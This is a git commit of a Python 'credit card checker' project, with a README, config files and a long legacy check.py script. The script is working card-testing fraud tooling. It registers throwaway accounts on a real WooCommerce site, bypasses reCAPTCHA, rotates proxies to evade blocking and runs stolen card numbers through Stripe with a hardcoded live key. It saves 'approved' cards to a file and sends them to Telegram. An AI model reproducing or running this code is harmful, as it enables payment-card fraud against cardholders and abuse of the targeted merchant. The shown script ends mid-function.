first commi

This commit is contained in:
dela
2025-12-31 17:33:09 +08:00
commit d299afd4ae
53 changed files with 4358 additions and 0 deletions

16
checker/.env.example Normal file
View File

@@ -0,0 +1,16 @@
# 环境变量配置文件示例
# 复制此文件为 .env 并填写实际值
# Telegram 通知配置(可选)
TELEGRAM_TOKEN=
TELEGRAM_CHAT_ID=
# 线程配置
MAX_THREADS=3
DEFAULT_THREADS=1
# 超时配置(秒)
TIMEOUT=15
# 输出文件
OUTPUT_FILE=approvedcard.txt

62
checker/.gitignore vendored Normal file
View File

@@ -0,0 +1,62 @@
# Python
__pycache__/
*.py[cod]
*$py.class
*.so
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
pip-wheel-metadata/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
# Virtual environments
venv/
env/
ENV/
.venv
# IDE
.vscode/
.idea/
*.swp
*.swo
*~
# Testing
.pytest_cache/
.coverage
htmlcov/
.tox/
# Environment
.env
.env.local
# Data files
data/cards/*.txt
data/results/*.txt
data/proxies/*.txt
approvedcard.txt
*.log
# OS
.DS_Store
Thumbs.db
# Project specific
card.txt
cc.txt
proxies.txt

1
checker/.python-version Normal file
View File

@@ -0,0 +1 @@
3.12

161
checker/README.md Normal file
View File

@@ -0,0 +1,161 @@
# Checker - Credit Card Validation Tool
一个功能强大的信用卡检测工具,支持 Stripe 支付网关验证。
## ✨ 特性
- 🚀 **多线程检测** - 支持并发检测,提高效率
- 🔄 **代理支持** - 支持代理轮换避免IP限制
- 📱 **Telegram通知** - 实时推送检测结果
- 🎨 **美观界面** - 彩色终端输出,清晰易读
- 🔍 **BIN查询** - 自动查询卡片BIN信息
- 📦 **模块化设计** - 清晰的代码结构,易于维护和扩展
## 📦 安装
### 使用 uv推荐
```bash
# 克隆仓库
git clone https://github.com/yourusername/checker.git
cd checker
# 安装依赖
uv pip install -e .
# 或安装开发依赖
uv pip install -e ".[dev]"
```
### 使用 pip
```bash
pip install -e .
```
## 🚀 使用
### 命令行使用
```bash
# 直接运行
checker
# 或使用 Python 模块方式
python -m checker
```
### 配置文件
复制 `.env.example``.env` 并配置:
```bash
cp .env.example .env
```
编辑 `.env` 文件:
```env
# Telegram 通知(可选)
TELEGRAM_TOKEN=your_bot_token
TELEGRAM_CHAT_ID=your_chat_id
# 线程配置
MAX_THREADS=3
DEFAULT_THREADS=1
# 超时配置
TIMEOUT=15
```
### 作为库使用
```python
from checker import Card, StripeChecker
import requests
# 创建检测器
checker = StripeChecker(
timeout=15,
max_retries=5,
telegram_token="your_token", # 可选
telegram_chat_id="your_chat_id" # 可选
)
# 解析卡片
card = Card.parse("4111111111111111|12|2025|123")
# 执行检测
session = requests.Session()
result = checker.check(card, session)
print(f"状态: {result.status}")
print(f"消息: {result.message}")
print(f"BIN信息: {result.bin_info}")
```
## 📂 项目结构
```
checker/
├── src/checker/ # 源代码
│ ├── cli/ # 命令行界面
│ ├── core/ # 核心配置
│ ├── models/ # 数据模型
│ ├── cards/ # 卡片处理
│ ├── checkers/ # 检测器实现
│ ├── integrations/ # 外部服务集成
│ └── utils/ # 工具函数
├── tests/ # 测试文件
├── data/ # 数据文件
├── scripts/ # 辅助脚本
└── pyproject.toml # 项目配置
```
## 🧪 测试
```bash
# 运行所有测试
pytest
# 运行测试并显示覆盖率
pytest --cov=checker
# 运行特定测试
pytest tests/test_cards/test_parser.py
```
## 🛠️ 开发
### 代码格式化
```bash
# 使用 black 格式化代码
black src/checker tests
# 使用 ruff 检查代码
ruff check src/checker tests
```
### 类型检查
```bash
mypy src/checker
```
## 📝 许可证
MIT License
## 🤝 贡献
欢迎提交 Issue 和 Pull Request
## ⚠️ 免责声明
本工具仅供学习和研究使用,请勿用于非法用途。使用本工具产生的一切后果由使用者自行承担。
## 📞 联系方式
- GitHub: [github.com/KianSantang777](https://github.com/KianSantang777)
- Telegram: [t.me/xqndrs](https://t.me/xqndrs)

2
checker/data/.gitkeep Normal file
View File

@@ -0,0 +1,2 @@
"""数据文件目录不提交到git"""
# 此文件仅用于保持目录结构

664
checker/legacy/check.py Normal file
View File

@@ -0,0 +1,664 @@
import uuid
import secrets
import string
import random
import time
import datetime
import sys
import base64
import json
import socket
import requests
import threading
from requests import exceptions
import urllib3
from faker import Faker
from colorama import Fore, Style
# Prefer package-relative imports when available; fall back to local module for script execution.
try:
from .utils import generate_password, sleep_random, UA, gstr, telegram_send, format_ts
from .recha.reca import RecaptchaSolverSync
except ImportError: # Running as a script without package context
from utils import generate_password, sleep_random, UA, gstr, telegram_send, format_ts
from recha.reca import RecaptchaSolverSync
# 假设这些是从外部作用域导入或定义的全局变量/函数
# 因为字节码中只是加载了它们
# UA, gstr, generate_password, sleep_random, solve_recaptcha_token, telegram_send
# print_lock, file_lock, sent_telegram, tg_token, tg_chat_id
print_lock = threading.Lock()
file_lock = threading.Lock()
sent_lock = threading.Lock()
tg_token = None
tg_chat_id = None
sent_telegram = set()
# 假设 RecaptchaSolverSync 是从其他模块导入的类
def solve_recaptcha_token(anchor_url, proxies=None, timeout=20):
# 1. 初始化求解器
# 允许 proxies 为空,避免调用方必须传值
solver = RecaptchaSolverSync(timeout=timeout, proxies=proxies)
# 2. 调用 solve 方法并返回结果
return solver.solve(anchor_url)
def check(card, sess, proxy_list):
# 1. 初始化 ID
session_uuid = str(uuid.uuid4())
GUID = str(uuid.uuid4())
MUID = str(uuid.uuid4())
SID = str(uuid.uuid4())
# 2. 解析卡片信息
# 字节码中有一个生成器用于 strip 字符串
cardnum, mm, yyyy, cvv = [s.strip() for s in card.strip().split('|')]
mm = mm.zfill(2)
yy = str(yyyy)[-2:].zfill(2)
cvv = cvv[:4]
bin_code = cardnum[:6]
cardfull = f"{cardnum}|{mm}|{yy}|{cvv}"
# 3. 生成用户信息
password = generate_password(10, 16)
delay = sleep_random(1, 3)
# 用户名生成逻辑
username_chars = string.ascii_lowercase + string.digits + '._'
alnum = string.ascii_lowercase + string.digits
min_user_len, max_user_len = (6, 12)
length = secrets.choice(range(min_user_len, max_user_len + 1))
first = secrets.choice(alnum)
last = secrets.choice(alnum)
middle = []
prev = ''
# 避免连续的特殊字符 (._)
for _ in range(max(0, length - 2)):
ch = secrets.choice(username_chars)
while prev in '._' and ch in '._':
ch = secrets.choice(alnum)
middle.append(ch)
prev = ch
base = first + ''.join(middle) + last
uniq = uuid.uuid4().hex[:4]
username = (base + uniq)[:length] # 字节码逻辑实际上是在这里截断
timeout = 15
max_retries = 5
# 临时邮箱域名列表
email_domains = [
'startmail.com', 'runbox.com', 'posteo.de', 'openmailbox.org', 'safe-mail.net',
'keemail.me', 'mykolab.com', 'eclipso.eu', 'neomailbox.com', 'mailbox.org',
'msgsafe.io', 'torguard.tg', 'vfemail.net', 'scryptmail.com', 'luxsci.com',
'onmail.com', 'simplelogin.io', 'anonaddy.com', 'duck.com', 'pm.me',
'swissmail.org', 'kolabnow.com', 'mailnesia.com', 'spamgourmet.com',
'mailsac.com', 'relay.firefox.com', 'emailondeck.com', 'moakt.com',
'maildrop.cc', 'nowmymail.com', 'throwawaymail.com', 'mailcatch.com',
'mailnull.com', 'spamavert.com', 'mail-temporaire.fr', 'rcpt.at',
'mailnesia.com', 'spamfree24.org', 'temp-mail.io', 'easytrashmail.com',
'inboxkitten.com', 'trashmail.de', 'wh4f.org', 'vibemail.net',
'spamex.com', 'trbvm.com', 'getairmail.com', 'webemail.me',
'kurzepost.de', 'lortemail.dk', 'spambog.com', 'spambog.ru',
'yepmail.net', 'tempail.com', 'fakeinbox.com', 'meltmail.com',
'deadaddress.com', 'jetable.org', 'mailhazard.com', 'tagmymail.com'
]
tempmail = f"{username}@{random.choice(email_domains)}"
# 时间戳生成
timeunix = str(int(time.time()))[:7]
timeunixx = str(int(time.time()))
ts_now = format_ts(datetime.datetime.now(datetime.timezone.utc)) # 假设 format_ts 存在
# Faker 生成其他信息
fake = Faker('en_US')
first_name = fake.first_name_male()
last_name = fake.last_name_male()
email = fake.free_email() # 字节码中生成了但似乎后面用了 tempmail
zipcode = fake.postalcode()
RotationUserAgents = random.choice(UA) # UA 是外部列表
proxies_source = list(proxy_list) if proxy_list else []
tried = set()
max_attempts = max_retries
attempt = 0
# 4. 主循环:代理重试逻辑
while attempt < max_attempts:
try:
attempt += 1
if proxies_source and len(tried) >= len(proxies_source):
return ("No proxy available", None)
if proxies_source:
proxy = random.choice(proxies_source)
while proxy in tried:
proxy = random.choice(proxies_source)
tried.add(proxy)
proxies = {'http': proxy, 'https': proxy}
else:
proxies = None
# --- 请求逻辑开始 ---
# 请求 1: 解决 Recaptcha
anchor_url = 'https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfAYREqAAAAAGMmzJpVy-ZtfdQgCuGSBRx8f321&co=aHR0cHM6Ly93d3cud29tZW5zYWlkLm9yZy51azo0NDM.&hl=en&v=bGi-DxR800FVc7f0siDI2jNQ&size=invisible&anchor-ms=20000&execute-ms=15000&cb=6mmplhhp955x'
token = solve_recaptcha_token(anchor_url, proxies=proxies, timeout=20)
# 请求 2: 查询 BIN 信息
url = f'https://bins.antipublic.cc/bins/{cardnum[:6]}'
r1 = sess.get(url=url)
# 使用 gstr 提取 BIN 信息 (假设 gstr 是 get_string_between)
brands = gstr(r1.text, 'brand":"', '"').upper() or 'UNKNOWN'
country2 = gstr(r1.text, 'country_name":"', '"').upper() or 'UNKNOWN'
country_emoji = gstr(r1.text, 'country_flag":"', '"').upper() or 'UNKNOWN'
banks = gstr(r1.text, 'bank":"', '"').upper() or 'UNKNOWN'
typecard = gstr(r1.text, 'type":"', '"').upper() or 'UNKNOWN'
levelcc = gstr(r1.text, 'level":"', '"').upper() or 'UNKNOWN'
# 请求 3: 访问 My Account 页面
headers = {
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
'accept-language': 'en-US,en;q=0.9',
'cache-control': 'no-cache',
'dnt': '1',
'pragma': 'no-cache',
'priority': 'u=0, i',
'user-agent': random.choice(UA)
}
response = sess.get('https://ihorangi.ac.nz/my-account/', headers=headers, proxies=proxies, timeout=timeout)
txt = response.text.strip()
# 提取 nonce
wogreg = gstr(txt, 'woocommerce-register-nonce" value="', '"')
# 请求 4: 注册账户
headers = {
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
'accept-language': 'en-US,en;q=0.9',
'cache-control': 'no-cache',
'content-type': 'application/x-www-form-urlencoded',
'dnt': '1',
'origin': 'https://ihorangi.ac.nz',
'pragma': 'no-cache',
'priority': 'u=0, i',
'referer': 'https://ihorangi.ac.nz/my-account/',
'user-agent': random.choice(UA)
}
data = {
'email': tempmail,
'wc_order_attribution_source_type': 'typein',
'wc_order_attribution_referrer': '(none)',
'wc_order_attribution_utm_campaign': '(none)',
'wc_order_attribution_utm_source': '(direct)',
'wc_order_attribution_utm_medium': '(none)',
'wc_order_attribution_utm_content': '(none)',
'wc_order_attribution_utm_id': '(none)',
'wc_order_attribution_utm_term': '(none)',
'wc_order_attribution_utm_source_platform': '(none)',
'wc_order_attribution_utm_creative_format': '(none)',
'wc_order_attribution_utm_marketing_tactic': '(none)',
'wc_order_attribution_session_entry': 'https://ihorangi.ac.nz/my-account/',
'wc_order_attribution_session_start_time': ts_now,
'wc_order_attribution_session_pages': '1',
'wc_order_attribution_session_count': '1',
'wc_order_attribution_user_agent': random.choice(UA),
'woocommerce-register-nonce': wogreg,
'_wp_http_referer': '/my-account/',
'register': 'Register'
}
response = sess.post('https://ihorangi.ac.nz/my-account/', headers=headers, data=data, proxies=proxies, timeout=timeout)
txt = response.text.strip()
# 检查注册是否成功,如果不成功则重试
if response.status_code not in (200, 301, 302):
time.sleep(random.uniform(5, 10))
sess.close()
continue # 重试循环
# 请求 5: 访问支付方式页面
headers = {
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
'accept-language': 'en-US,en;q=0.9',
'cache-control': 'no-cache',
'pragma': 'no-cache',
'priority': 'u=0, i',
'referer': 'https://ihorangi.ac.nz/my-account/',
'user-agent': random.choice(UA)
}
response = sess.get('https://ihorangi.ac.nz/my-account/payment-methods/', headers=headers, proxies=proxies, timeout=timeout)
# 请求 6: 访问添加支付方式页面并提取 Stripe Key 和 Nonce
headers = {
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6,zh-CN;q=0.5,zh;q=0.4',
'cache-control': 'no-cache',
'dnt': '1',
'pragma': 'no-cache',
'priority': 'u=0, i',
'referer': 'https://ihorangi.ac.nz/my-account/payment-methods/',
'user-agent': random.choice(UA)
}
response = sess.get('https://ihorangi.ac.nz/my-account/add-payment-method/', headers=headers, proxies=proxies, timeout=timeout)
txt = response.text.strip()
pklive = 'pk_live_51PNnUYCpbsAx05ZQuvx5UVPB6OydHAwDUFaKTeblYjQDucB8985OeQ6ceodC9EhWgClX2wvS7jaVTSNnr0SkektW00mh3KBqQ3'
stpnonce = gstr(txt, 'createAndConfirmSetupIntentNonce": "', '"')
if not stpnonce:
stpnonce = gstr(txt, 'createAndConfirmSetupIntentNonce":"', '"')
# 请求 7: Stripe Elements Session
headers = {
'accept': 'application/json',
'accept-language': 'en-US,en;q=0.9,id;q=0.8',
'cache-control': 'no-cache',
'content-type': 'application/x-www-form-urlencoded',
'origin': 'https://js.stripe.com',
'pragma': 'no-cache',
'priority': 'u=1, i',
'referer': 'https://js.stripe.com/',
'user-agent': random.choice(UA)
}
url_elements = f'https://api.stripe.com/v1/elements/sessions?deferred_intent[mode]=setup&deferred_intent[currency]=nzd&deferred_intent[payment_method_types][0]=card&deferred_intent[setup_future_usage]=off_session&currency=nzd&key={pklive}&_stripe_version=2024-06-20&elements_init_source=stripe.elements&referrer_host=ihorangi.ac.nz&stripe_js_id={session_uuid}&locale=en&type=deferred_intent'
response = sess.get(url_elements, headers=headers, timeout=timeout, proxies=proxies)
# 请求 8: Link Cookie
headers = {
'accept': 'application/json',
'accept-language': 'en-US,en;q=0.9',
'cache-control': 'no-cache',
'content-type': 'application/x-www-form-urlencoded',
'origin': 'https://js.stripe.com',
'pragma': 'no-cache',
'priority': 'u=1, i',
'referer': 'https://js.stripe.com/',
'user-agent': random.choice(UA)
}
params = {'referrer_host': 'ihorangi.ac.nz'}
response = sess.get('https://merchant-ui-api.stripe.com/link/get-cookie', params=params, headers=headers, proxies=proxies, timeout=timeout)
# 请求 9: hCaptcha Check
headers = {
'accept': 'application/json',
'accept-language': 'en-US,en;q=0.9',
'cache-control': 'no-cache',
'content-type': 'text/plain',
'origin': 'https://newassets.hcaptcha.com',
'pragma': 'no-cache',
'priority': 'u=1, i',
'referer': 'https://newassets.hcaptcha.com/',
'user-agent': random.choice(UA)
}
params = {
'v': '2e2f9feae51e15dd4676ba8e3d761ec72f41b826',
'host': 'b.stripecdn.com',
'sitekey': '463b917e-e264-403f-ad34-34af0ee10294',
'sc': '1',
'swa': '1',
'spst': '0'
}
response = sess.post('https://api.hcaptcha.com/checksiteconfig', params=params, headers=headers, proxies=proxies, timeout=timeout)
txt = response.text.strip()
tokxn = 'P1_' + gstr(txt, 'req":"', '"')
# 请求 10: Stripe Payment Methods (Tokenize Card)
headers = {
'accept': 'application/json',
'accept-language': 'en-US,en;q=0.9,id;q=0.8',
'cache-control': 'no-cache',
'content-type': 'application/x-www-form-urlencoded',
'origin': 'https://js.stripe.com',
'pragma': 'no-cache',
'priority': 'u=1, i',
'referer': 'https://js.stripe.com/',
'user-agent': random.choice(UA)
}
data = f'type=card&card[number]={cardnum}&card[cvc]={cvv}&card[exp_year]={yy}&card[exp_month]={mm}&allow_redisplay=unspecified&billing_details[address][country]=NZ&pasted_fields=number%2Ccvc&payment_user_agent=stripe.js%2F8c194b4c2c%3B+stripe-js-v3%2F8c194b4c2c%3B+payment-element%3B+deferred-intent&referrer=https%3A%2F%2Fihorangi.ac.nz&time_on_page={timeunix}&client_attribution_metadata[client_session_id]=2b694de4-a99f-4708-9cd4-089e3a463ff5&client_attribution_metadata[merchant_integration_source]=elements&client_attribution_metadata[merchant_integration_subtype]=payment-element&client_attribution_metadata[merchant_integration_version]=2021&client_attribution_metadata[payment_intent_creation_flow]=deferred&client_attribution_metadata[payment_method_selection_flow]=merchant_specified&client_attribution_metadata[elements_session_config_id]=47f07f96-4b09-4cf0-9d48-4343573d8fa2&client_attribution_metadata[merchant_integration_additional_elements][0]=payment&guid={GUID}&muid={MUID}&sid={SID}&key={pklive}&_stripe_version=2024-06-20'
response = sess.post('https://api.stripe.com/v1/payment_methods', headers=headers, data=data, timeout=timeout, proxies=proxies)
txt = response.text.strip()
if response.status_code != 200:
# 错误处理逻辑
msx = gstr(txt, 'message": "', '"')
with print_lock:
print(f"{Fore.LIGHTRED_EX}{Fore.LIGHTWHITE_EX}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.CYAN}{response.status_code} {Fore.LIGHTWHITE_EX}- {Fore.LIGHTRED_EX}{msx}{Style.RESET_ALL}")
sess.close()
return (msx or 'payment_methods_failed', False)
idtoken = gstr(txt, 'id": "', '"')
# 请求 11: WooCommerce 后端确认 Setup Intent
headers = {
'accept': '*/*',
'accept-language': 'en-US,en;q=0.9,id;q=0.8',
'cache-control': 'no-cache',
'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
'origin': 'https://ihorangi.ac.nz',
'pragma': 'no-cache',
'priority': 'u=1, i',
'referer': 'https://ihorangi.ac.nz/my-account/add-payment-method/',
'user-agent': random.choice(UA),
'x-requested-with': 'XMLHttpRequest'
}
data = {
'action': 'wc_stripe_create_and_confirm_setup_intent',
'wc-stripe-payment-method': idtoken,
'wc-stripe-payment-type': 'card',
'_ajax_nonce': stpnonce
}
response = sess.post('https://ihorangi.ac.nz/wp-admin/admin-ajax.php', headers=headers, data=data, timeout=timeout, proxies=proxies, allow_redirects=False)
txt = response.text.strip()
try:
resp = response.json()
except ValueError:
resp = None
if not isinstance(resp, dict):
preview = txt[:400]
with print_lock:
print(f"{Fore.LIGHTYELLOW_EX}[DEBUG]{Style.RESET_ALL} Unexpected AJAX response ({type(resp).__name__}) -> {preview}")
resp = {}
if resp.get('data') and isinstance(resp['data'], dict):
data = resp['data']
else:
data = resp
status = str(data.get('status', '')).lower()
text = response.text.strip().lower()
text_lower = text
# --- 结果判断逻辑 ---
# 1. 直接成功
if 'success' in data and data['success'] is True:
# 后面统一处理
pass
# 2. 需要 3DS 验证 (Requires Action)
elif status == 'requires_action':
next_action = data.get('next_action', {})
sdk = next_action.get('use_stripe_sdk', {})
seti_id = data.get('id')
client_secret = data.get('client_secret')
merchant = sdk.get('merchant')
server_transaction_id = sdk.get('server_transaction_id')
three_ds_source = sdk.get('three_d_secure_2_source')
# 发起 3DS 确认请求
headers = {
'accept': 'application/json',
'accept-language': 'en-US,en;q=0.9,id;q=0.8',
'cache-control': 'no-cache',
'content-type': 'application/x-www-form-urlencoded',
'origin': 'https://js.stripe.com',
'pragma': 'no-cache',
'priority': 'u=1, i',
'referer': 'https://js.stripe.com/',
'user-agent': random.choice(UA)
}
data_confirm = f'use_stripe_sdk=true&mandate_data[customer_acceptance][type]=online&mandate_data[customer_acceptance][online][infer_from_client]=true&key={pklive}&_stripe_version=2024-06-20&client_attribution_metadata[client_session_id]=2b694de4-a99f-4708-9cd4-089e3a463ff5&client_attribution_metadata[merchant_integration_source]=l1&client_secret={client_secret}'
response = sess.post(f'https://api.stripe.com/v1/setup_intents/{seti_id}/confirm', headers=headers, data=data_confirm, timeout=timeout, proxies=proxies)
resp = response.json()
data = resp['data']
next_action = data.get('next_action', {})
sdk = next_action.get('use_stripe_sdk', {})
seti_id = data.get('id')
client_secret = data.get('client_secret')
merchant = sdk.get('merchant')
server_transaction_id = sdk.get('server_transaction_id')
three_ds_source = sdk.get('three_d_secure_2_source')
# Cardinal Commerce 指纹处理
payload = {'threeDSServerTransID': server_transaction_id}
encoded = base64.b64encode(json.dumps(payload, separators=(',', ':')).encode()).decode()
headers_cardinal = {
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'cache-control': 'no-cache',
'content-type': 'application/x-www-form-urlencoded',
'origin': 'https://geoissuer.cardinalcommerce.com',
'pragma': 'no-cache',
'priority': 'u=0, i',
'referer': 'https://geoissuer.cardinalcommerce.com/',
'user-agent': random.choice(UA)
}
data_cardinal = {'threeDSMethodData': encoded}
sess.post(f'https://hooks.stripe.com/3d_secure_2/fingerprint/{merchant}/', headers=headers_cardinal, data=data_cardinal, timeout=timeout, proxies=proxies)
# 3DS 认证请求
headers = {
'accept': 'application/json',
'cache-control': 'no-cache',
'content-type': 'application/x-www-form-urlencoded',
'origin': 'https://js.stripe.com',
'pragma': 'no-cache',
'priority': 'u=1, i',
'referer': 'https://js.stripe.com/',
'user-agent': random.choice(UA)
}
browser_data = {
'fingerprintAttempted': 'Y',
'challengeWindowSize': '0', # 字节码里看起来像 0 或 False
'threeDSCompInd': 'Y',
'browserJavaEnabled': 'false',
'browserJavascriptEnabled': 'true',
'browserLanguage': 'en-US',
'browserColorDepth': '24',
'browserScreenHeight': '1080',
'browserScreenWidth': '1920',
'browserTZ': '0',
'browserUserAgent': random.choice(UA)
}
data_auth = {
'source': three_ds_source,
'browser': json.dumps(browser_data),
'one_click_authn_device_support[hosted]': 'false',
'one_click_authn_device_support[same_origin_frame]': 'false',
'one_click_authn_device_support[spc_eligible]': 'false',
'one_click_authn_device_support[webauthn_eligible]': 'false',
'one_click_authn_device_support[publickey_credentials_get_allowed]': 'true',
'key': pklive,
'_stripe_version': '2024-06-20'
}
response = sess.post('https://api.stripe.com/v1/3ds2/authenticate', headers=headers, data=data_auth, timeout=timeout, proxies=proxies)
# 再次确认 Setup Intent
headers = {
'accept': 'application/json',
'accept-language': 'en-US,en;q=0.9',
'cache-control': 'no-cache',
'content-type': 'application/x-www-form-urlencoded',
'origin': 'https://js.stripe.com',
'pragma': 'no-cache',
'priority': 'u=1, i',
'referer': 'https://js.stripe.com/',
'user-agent': random.choice(UA)
}
params = {
'is_stripe_sdk': 'false',
'client_secret': client_secret,
'key': pklive,
'_stripe_version': '2024-06-20'
}
response = sess.get(f'https://api.stripe.com/v1/setup_intents/{seti_id}', params=params, headers=headers, timeout=timeout, proxies=proxies)
rjson = response.json()
text_lower = response.text.lower().strip()
text = response.text.strip()
data = rjson['data'] # 字节码逻辑
status = str(data.get('status', '')).lower()
# --- 结果输出 ---
mesg = gstr(txt, 'message":"', '"') or gstr(txt, 'message": "', '"')
stats = gstr(txt, 'status":"', '"') or gstr(txt, 'status": "', '"')
# 成功
if (resp.get('success') is True) or ('succeeded' in status) or ('succeeded' in text_lower):
with print_lock:
print(f"{Fore.LIGHTGREEN_EX}{Fore.WHITE}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.GREEN}{response.status_code} {Fore.LIGHTWHITE_EX}- {Fore.GREEN}Approved (SUCCEEDED).{Style.RESET_ALL}")
with file_lock:
with open('approvedcard.txt', 'a', encoding='utf-8') as f:
f.write(f"{cardnum}|{mm}|{yy}|{cvv}|SUCCEEDED|\n")
if tg_token and tg_chat_id:
with sent_lock:
if card not in sent_telegram:
msg = f"<b>Stripe Charge 0.10$</b>\n\n<b>CC</b> : <code>{cardfull}</code>\n<b>Status</b> : Approved!✅\n<b>Response</b> : Succeeded\n<b>Gates</b> : Stripe Charge\n\n<b>Bin</b> : {cardnum[:6]} - <b>Brand</b> : {brands} - <b>Type</b> : {typecard} - <b>Country</b> : {country2} {country_emoji} - <b>Issuer</b> : {banks}"
telegram_send(tg_token, tg_chat_id, msg, timeout)
sent_telegram.add(card)
sess.close()
return ("Succeeded", True)
# 需要 3DS (Requires Action) - 通常被视为通过或半通过
elif 'requires_action' in status or 'requires_action' in text_lower:
with print_lock:
print(f"{Fore.YELLOW}{Fore.WHITE}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.YELLOW}3DS Required.{Style.RESET_ALL}")
sess.close()
return ("3DS required", None)
# 需要支付方式 (通常用于捕捉 Decline)
elif status == 'requires_payment_method' or 'requires_payment_method' in text_lower:
msx = gstr(text, 'message": "', '"') or gstr(text, '"code": "', '"') or gstr(text, '"decline_code": "', '"')
with print_lock:
print(f"{Fore.RED}{Fore.WHITE}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.RED}{msx}{Style.RESET_ALL}")
return (msx or 'requires_payment_method', False)
# 余额不足 (Insufficient Funds)
elif 'last_payment_error' in status or 'last_payment_error' in text_lower:
msx = gstr(text, 'message": "', '"') or gstr(text, '"code": "', '"') or gstr(text, '"decline_code": "', '"')
with print_lock:
print(f"{Fore.RED}{Fore.WHITE}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.RED}{msx}{Style.RESET_ALL}")
# 余额不足通常被视为 Approved CVV Live
if any(k in text_lower for k in ['insufficient_funds', 'insufficient funds']):
with print_lock:
print(f"{Fore.LIGHTGREEN_EX}{Fore.WHITE}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.GREEN}{response.status_code} {Fore.LIGHTWHITE_EX}- {Fore.GREEN}Approved (Insufficient Funds).{Style.RESET_ALL}")
with file_lock:
with open('approvedcard.txt', 'a', encoding='utf-8') as f:
f.write(f"{cardnum}|{mm}|{yy}|{cvv}|INSUFFICIENT_FUNDS|\n")
if tg_token and tg_chat_id:
with sent_lock:
if card not in sent_telegram:
msg = f"<b>Stripe Charge 0.10$</b>\n\n<b>CC</b> : <code>{cardfull}</code>\n<b>Status</b> : Approved!✅\n<b>Response</b> : Insufficient Funds\n<b>Gates</b> : Stripe Charge\n\n<b>Bin</b> : {cardnum[:6]} - <b>Brand</b> : {brands} - <b>Type</b> : {typecard} - <b>Country</b> : {country2} {country_emoji} - <b>Issuer</b> : {banks}"
telegram_send(tg_token, tg_chat_id, msg, timeout)
sent_telegram.add(card)
sess.close()
return ("Insufficient funds", True)
# 特定错误:操作过快
elif mesg and 'You cannot add a new payment method so soon after the previous one.' in mesg:
with print_lock:
print(f"{Fore.LIGHTYELLOW_EX}{Fore.LIGHTWHITE_EX}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.LIGHTYELLOW_EX}RETRY {Fore.LIGHTWHITE_EX}- {Fore.LIGHTYELLOW_EX}Retrying.. IP is temporarily blocked{Style.RESET_ALL}")
time.sleep(random.uniform(5, 10))
sess.close()
continue # 重试
# 默认失败
else:
message = resp.get('data', {}).get('error', {}).get('message') if isinstance(resp, dict) else None
if mesg:
message = mesg
error_type = 'RequestError'
hint = message or 'Unknown error'
with print_lock:
print(f"{Fore.LIGHTRED_EX}{Fore.LIGHTWHITE_EX}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.CYAN}{response.status_code} {Fore.LIGHTWHITE_EX}- {Fore.RED}{error_type}: {hint}{Style.RESET_ALL}")
sess.close()
return (hint, False)
except KeyboardInterrupt:
sys.exit(1)
except Exception as e:
# 异常处理映射
err_msg = str(e).lower()
hint = 'Unknown error occurred.'
error_type = type(e).__name__
if isinstance(e, exceptions.ConnectTimeout):
hint = 'Connection timed out while connecting to host.'
elif isinstance(e, exceptions.ReadTimeout):
hint = 'Server took too long to respond.'
elif isinstance(e, exceptions.Timeout):
hint = 'Request timeout (connect/read).'
elif isinstance(e, socket.timeout):
hint = 'Socket-level timeout occurred.'
elif isinstance(e, exceptions.ConnectionError):
if 'reset' in err_msg: hint = 'Connection reset — remote host dropped connection.'
elif 'refused' in err_msg: hint = 'Connection refused — host blocked or service down.'
elif 'aborted' in err_msg: hint = 'Connection aborted — TLS drop or handshake cut.'
elif 'broken pipe' in err_msg: hint = 'Broken pipe — connection unexpectedly closed.'
elif 'terminated' in err_msg: hint = 'Connection terminated unexpectedly.'
elif 'name or service not known' in err_msg: hint = 'DNS resolution failed — invalid or unreachable domain.'
elif 'no route to host' in err_msg: hint = 'Network unreachable — routing issue or firewall.'
elif 'network is unreachable' in err_msg: hint = 'No network route available.'
elif 'host unreachable' in err_msg: hint = 'Host unreachable — mid-network issue.'
else: hint = 'General connection error.'
elif isinstance(e, exceptions.ProxyError):
if 'cannot connect' in err_msg or 'unable to connect' in err_msg: hint = 'Proxy unreachable — host down or port blocked.'
elif 'timed out' in err_msg: hint = 'Proxy timeout — slow or overloaded proxy.'
elif 'tls' in err_msg or 'ssl' in err_msg: hint = 'Proxy SSL handshake failed — bad HTTPS proxy.'
elif '407' in err_msg: hint = 'Proxy authentication required.'
elif 'badgateway' in err_msg or '502' in err_msg: hint = 'Proxy bad gateway — upstream error.'
elif 'invalid header' in err_msg: hint = 'Proxy returned invalid/malformed headers.'
elif 'tunnel failed' in err_msg: hint = 'HTTP CONNECT tunnel could not be established.'
else: hint = 'General proxy error.'
elif isinstance(e, exceptions.InvalidURL):
hint = 'Invalid URL — malformed or contains illegal characters.'
elif 'locationparseerror' in error_type.lower():
hint = 'URL parsing failed — possibly missing scheme or bad format.'
elif 'failed to parse' in err_msg:
hint = 'URL could not be parsed — check formatting.'
elif 'invalid proxy' in err_msg:
hint = 'Proxy format invalid — please check credentials or host format.'
elif isinstance(e, (exceptions.SSLError, urllib3.exceptions.SSLError)):
if 'certificate verify failed' in err_msg: hint = 'SSL certificate verification failed.'
elif 'wrong version number' in err_msg: hint = 'SSL version mismatch — proxy/host using invalid TLS.'
elif 'sslv3 alert handshake failure' in err_msg: hint = 'SSL handshake failure — cipher mismatch.'
